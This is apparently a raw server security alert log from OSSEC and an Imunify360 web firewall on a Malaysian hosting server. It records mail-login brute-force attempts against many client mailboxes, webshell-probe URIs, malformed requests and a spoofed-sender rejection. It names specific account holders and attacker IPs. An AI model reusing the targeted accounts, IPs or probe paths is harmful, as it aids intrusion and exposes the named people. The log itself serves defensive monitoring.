2026-01-31 12:52:14 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:47911: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.222.72.182
country_id: 1814991
description:
2026-01-31 12:52:42 dovecot_login authenticator failed for H=([58.222.72.182]) [58.222.72.182]:40588: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:52:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-31 12:52:03 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:37576: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:52:05 dovecot_login authenticator failed for H=(xp5Oqgz3EF) [158.94.209.22]:61588: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.204.109
country_id: 3469034
description:
2026-01-31 12:52:51 dovecot_login authenticator failed for H=(igrejadorecreio.static.host.gvt.net.br) [186.215.204.109]:34200: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-01-31 12:52:56 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:25926: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:52:59 dovecot_login authenticator failed for H=(azVfc2D) [158.94.209.22]:60474: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 12:52:14 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:37734: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 12:52:20 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:42482: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 12:52:40 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:37958: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.116.131.13
country_id: 1814991
description:
2026-01-31 12:53:25 dovecot_login authenticator failed for H=([123.116.131.13]) [123.116.131.13]:56661: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:53:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 12:53:27 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:35800: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
2026-01-31 12:53:44 dovecot_login authenticator failed for H=(nsg-corporate-222.230.187.122.airtel.in) [122.187.230.222]:48614: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.180.129
country_id: 1835841
description:
2026-01-31 12:53:15 dovecot_login authenticator failed for H=([175.198.180.129]) [175.198.180.129]:50878: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:53:17 dovecot_login authenticator failed for H=(hkJX4gh) [158.94.209.22]:65356: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.133.172.231
country_id: 2635167
description:
2026-01-31 12:54:45 dovecot_login authenticator failed for H=(ADMIN) [45.133.172.231]:27864: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:54:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:54:11 dovecot_login authenticator failed for H=(FvqhZfgyrH) [158.94.209.22]:63544: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.34.130
country_id: 298795
description:
2026-01-31 12:55:00 dovecot_login authenticator failed for H=(server.keyubu.com) [94.154.34.130]:58046: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-01-31 12:55:08 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.98.104.138]:49882: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.25
country_id: 2921044
description:
2026-01-31 12:55:22 dovecot_plain authenticator failed for H=([10.239.0.17]) [191.101.157.25]:34581: 535 Incorrect authentication data (set_id=sylviagooi@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:55:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:55:05 dovecot_login authenticator failed for H=(A0PdeWG) [158.94.209.22]:61324: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:56:17 dovecot_login authenticator failed for H=(QoMrFCR) [158.94.209.22]:61767: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.218.115
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=61961516695189 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:56:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.128.162.146
country_id: 1814991
description:
2026-01-31 12:56:14 dovecot_login authenticator failed for H=([27.128.162.146]) [27.128.162.146]:41758: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.22.48.19
country_id: 2017370
description:
2026-01-31 12:56:25 dovecot_login authenticator failed for H=(zimbra.pragma.ru) [81.22.48.19]:52195: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 12:56:44 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:53284: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.25
country_id: 2921044
description:
2026-01-31 12:56:12 dovecot_plain authenticator failed for H=([10.239.0.17]) [191.101.157.25]:33980: 535 Incorrect authentication data (set_id=sylviagooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:57:29 dovecot_login authenticator failed for H=(RUD23ArqMK) [158.94.209.22]:59693: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.34.130
country_id: 298795
description:
2026-01-31 12:57:59 dovecot_login authenticator failed for H=(server.keyubu.com) [94.154.34.130]:39132: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:57:11 dovecot_login authenticator failed for H=(h33C84WDPd) [158.94.209.22]:56402: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.41.231
country_id: 1562822
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/customers.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-01-31 12:58:44 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:35638: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:58:05 dovecot_login authenticator failed for H=(SYsWA3sRX) [158.94.209.22]:49903: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-31 12:58:09 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:40294: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.250.50
country_id: 1814991
description:
2026-01-31 12:58:15 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [60.223.250.50]:50104: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.196.9.141
country_id: 2635167
description:
2026-01-31 12:59:41 dovecot_login authenticator failed for H=(ADMIN) [185.196.9.141]:33820: 535 Incorrect authentication data (set_id=admin@jpack.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:59:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 12:59:17 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:44196: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-01-31 12:59:27 dovecot_login authenticator failed for H=([211.104.166.110]) [211.104.166.110]:36205: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.58.66.231
country_id: 3469034
description:
2026-01-31 12:59:11 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [187.58.66.231]:42234: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:59:17 dovecot_login authenticator failed for H=(ldrft2IIN) [158.94.209.22]:63832: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 13:00:10 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:59481: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 13:00:35 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:53200: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:00:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:00:11 dovecot_login authenticator failed for H=(5JnDKQ412n) [158.94.209.22]:57616: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:01:05 dovecot_login authenticator failed for H=(MKzlwfxuZ) [158.94.209.22]:51373: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:01:23 dovecot_login authenticator failed for H=(lSH4g55) [158.94.209.22]:54847: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.146.24.164
country_id: 2017370
description:
2026-01-31 13:01:44 dovecot_login authenticator failed for H=([91.146.24.164]) [91.146.24.164]:55198: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-31 13:01:46 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:44702: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:01:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.131
country_id: 2017370
description:
2026-01-31 13:01:35 dovecot_login authenticator failed for H=([178.178.194.131]) [178.178.194.131]:37524: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 13:01:57 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:46469: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.249.252.237
country_id: 1861060
description:
2026-01-31 13:02:39 dovecot_login authenticator failed for H=fs96f9fced.tkyc203.ap.nuro.jp [150.249.252.237]:60170: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:02:17 dovecot_login authenticator failed for H=(NdXl7buH) [158.94.209.22]:64861: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:02:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.234.212.101
country_id: 2017370
description:
2026-01-31 13:02:30 dovecot_login authenticator failed for H=(net212.234.188-101.ertelecom.ru) [188.234.212.101]:51544: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-01-31 13:03:17 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:51346: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:03:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.124.32
country_id: 1269750
description:
2026-01-31 13:03:16 dovecot_login authenticator failed for H=(broadband.actcorp.in) [49.204.124.32]:54036: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-01-31 13:03:47 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:39119: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-31 13:03:50 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:32814: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.211.205.14
country_id: 1269750
description:
2026-01-31 13:03:51 dovecot_login authenticator failed for H=([103.211.205.14]) [103.211.205.14]:41530: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:03:11 dovecot_login authenticator failed for H=(7a7qrX) [158.94.209.22]:58233: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.28.66
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/index.php/uk/hotel.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:04:05 dovecot_login authenticator failed for H=(mt8r8y) [158.94.209.22]:51691: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-01-31 13:04:05 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:54347: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.8.135
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=993425 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:04:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:05:17 dovecot_login authenticator failed for H=(Tyw5lbWM) [158.94.209.22]:64858: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-31 13:06:01 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:48732: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 13:05:25 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:37616: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:05:35 dovecot_login authenticator failed for H=(JIbttT91Ba) [158.94.209.22]:51707: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-31 13:05:57 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:54782: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 13:06:15 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:49730: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-01-31 13:06:18 dovecot_login authenticator failed for H=([1.250.67.114]) [1.250.67.114]:40148: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-01-31 13:06:29 dovecot_login authenticator failed for H=(nsg-corporate-168.229.187.122.airtel.in) [122.187.229.168]:58798: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.246.89.68
country_id: 1835841
description:
2026-01-31 13:06:03 dovecot_login authenticator failed for H=([106.246.89.68]) [106.246.89.68]:44022: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:06:11 dovecot_login authenticator failed for H=(nlVXNiJOv) [158.94.209.22]:58142: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 103.118.150.170
country_id: 1269750
description:
2026-01-31 13:06:48 34195 [Warning] Aborted connection 34195 to db: 'unconnected' user: 'unauthenticated' host: '103.118.150.170' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:07:23 dovecot_login authenticator failed for H=(toBdYRt) [158.94.208.175]:60143: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:07:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:07:05 dovecot_login authenticator failed for H=(CHqfOQWWe) [158.94.209.22]:51347: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 13:07:28 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:39038: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.23.209.47
country_id: 3865483
description:
2026-01-31 13:07:59 dovecot_login authenticator failed for H=(cpe-186-23-209-47.telecentro-reversos.com.ar) [186.23.209.47]:48253: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:08:09 dovecot_login authenticator failed for H=(u2QWcAXGh) [158.94.208.175]:57432: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.244.178
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=45 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:08:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:08:17 dovecot_login authenticator failed for H=(QNhavhA7) [158.94.209.22]:63954: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:09:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/fkrcom/public_html/images/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 13:09:57 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:37874: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:09:11 dovecot_login authenticator failed for H=(XmZBpV) [158.94.209.22]:56566: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:09:47 dovecot_login authenticator failed for H=(KlqkPYQxee) [158.94.209.22]:62543: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:10:33 dovecot_login authenticator failed for H=(ArMT7Isncv) [158.94.208.175]:57441: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:10:05 dovecot_login authenticator failed for H=(IE3czm) [158.94.209.22]:49269: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-01-31 13:10:19 dovecot_login authenticator failed for H=([61.72.58.242]) [61.72.58.242]:40813: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.84.238.90
country_id: 2017370
description:
2026-01-31 13:10:27 dovecot_login authenticator failed for H=broadband-95-84-238-90.ip.moscow.rt.ru [95.84.238.90]:60612: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:10:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-31 13:10:25 H=([45.144.212.50]) [45.144.212.50]:53709 F=<ccmsservice@bangkokbank.com> rejected RCPT <astbtu@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from bangkokbank.com


plugin: ossec
